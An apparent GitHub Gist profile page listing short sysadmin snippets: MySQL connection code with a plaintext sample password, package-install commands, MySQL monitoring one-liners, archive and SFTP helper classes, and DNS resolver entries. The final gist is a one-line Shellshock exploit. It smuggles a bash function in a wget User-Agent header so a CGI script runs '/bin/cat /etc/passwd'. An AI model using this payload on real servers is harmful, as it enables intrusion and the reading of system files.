Skip to content

Instantly share code, notes, and snippets.

View ShahriyarR's full-sized avatar

Shahriyar Rzayev ShahriyarR

View GitHub Profile
import mysql.connector
from mysql.connector.constants import ClientFlag
from mysql.connector import Error
config = {
'user': 'ssluser',
'password': 'Pass@123#',
'host': '192.168.1.77',
'database':'world',
'client_flags': [ClientFlag.SSL],
@ShahriyarR
ShahriyarR / desktop_activation
Created June 29, 2014 12:28
Activate Desktop in CentOS 6.5
yum groupinstall "Desktop" "Desktop Platform" "X Window System" "Fonts"
@ShahriyarR
ShahriyarR / virtualbox_additions
Created June 29, 2014 12:36
Install VirtualBox additions on Ubuntu
sudo apt-get install build-essential vde2 virtualbox-guest-additions-iso
@ShahriyarR
ShahriyarR / MySQL_usefull_commands
Last active August 29, 2015 14:03
MySQL related usefull tips and commands
# To kill sleeping connecions in MySQL # :
mysqladmin -u root --password=xxxx proc | grep Sleep | awk '{print $2}' | while read LINE; do mysqladmin -u root --password=xxxxx kill $LINE; done
# Every 1 second run this command to see overall Queries/Threads Connected / and running queries at this moment
mysqladmin ext -i1 -u root -p12345 | awk '/Queries/{q=$4-qp;qp=$4}
/Threads_connected/{tc=$4}
/Threads_running/{printf "%5d %5d %5d\n", q, tc, $4}'
x = [24, 25, 26, 32, 33, 41, 42, 43, 179, 180, 463, 464, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 701, 702, 1332, 1333, 2292, 2293, 2294, 2883, 2884, 3035, 3036, 3037, 3076, 3077, 3208, 3209, 3210, 3519, 3520, 3521, 3839, 3840, 3841, 3842, 3843, 3844, 3997, 3998, 4136, 4137, 4138, 4593, 4594, 4684, 4685, 6442, 6443, 6444, 6445, 6446, 6447, 8110, 8111, 8112, 8113, 8143, 8144, 8272, 8273, 8274, 8578, 8579]
t=[]
p=True
maxPeriod = []
for i in range(0,len(x)-1):
# Yoxlayiriq ki, eger reqemlerin ferqi 1-e beraberdirse TRUE qaytarsin.
@ShahriyarR
ShahriyarR / deleted_values.py
Last active February 25, 2020 14:06
Finding deleted value dates from database
import mysql.connector
import datetime
# MySQL Connection Parameters
cnx = mysql.connector.connect(user='xxx', password='xxx',
host='xx',
database='xx')
# Querying for data
@ShahriyarR
ShahriyarR / create_tar_gz.py
Created July 23, 2014 05:26
Creating GZ archive file from .zip files
from shutil import make_archive, move, rmtree
import os
class Archiver:
def __init__(self):
self.local_dir = '/home'
self.archive_dir = '/home/archive'
self.archive_name = os.path.join(self.local_dir, 'zip_archive')
@ShahriyarR
ShahriyarR / configuration
Last active August 29, 2015 14:06
configuration
domain zyxel.com
search zyxel.com
nameserver 192.168.1.1
nameserver 8.8.8.8
domain hg232f
search hg232f
nameserver 192.168.3.1
@ShahriyarR
ShahriyarR / sftp_connection.py
Last active August 29, 2015 14:06
SFTP Connection Class Using Paramiko
import paramiko
import os
import subprocess
class SFTPConnection:
"""
Class for SFTP Connection using Paramiko
"""
@ShahriyarR
ShahriyarR / cat_etc_passwd
Created September 26, 2014 11:43
shellshock vuln
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.1.88/cgi-bin/fuck.cgi